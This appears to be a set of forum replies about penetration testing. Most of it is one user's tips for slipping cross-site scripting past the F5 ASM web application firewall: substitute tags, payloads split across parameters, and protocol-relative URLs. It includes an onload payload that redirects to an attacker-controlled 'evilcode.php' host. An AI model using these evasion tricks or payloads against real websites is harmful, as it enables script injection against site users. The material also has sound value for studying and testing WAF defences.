This is also a pretty handy resource, using vulnserver: http://www.backtrack-linux.org/forums/showthread.php?t=203

I thought SQL injection was becoming rare lol.

You can do the same with a laptop, and have the added bonus of it being portable.

Well, I've never gone up against urlscan before but I just beat F5's ASM XSS filter for the first time, so maybe some of the same tricks will work.

Some of the things I used were:
1. I ditched using <script> because I couldn't get it passed. Instead used<image>. Notice it's not <img>. The WAF would filter <img> tags but not <image> and Firefox would display <image> just fine.
Try iframe, style, and object tags too.

2. Split up the attack between parameters if possible. Break it at key points where the WAF won't be able to understand what's going on.

3. If ()'s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn't load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a "location" in an onload like this:
onload=location="http://server/evilcode.php".

4. I also ran across spots where the letters "http" were filtered. Here you can usually drop the http: and just use //server/evilcode.php.


I don't know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I've learned with evasion and hopefully some of it carries over.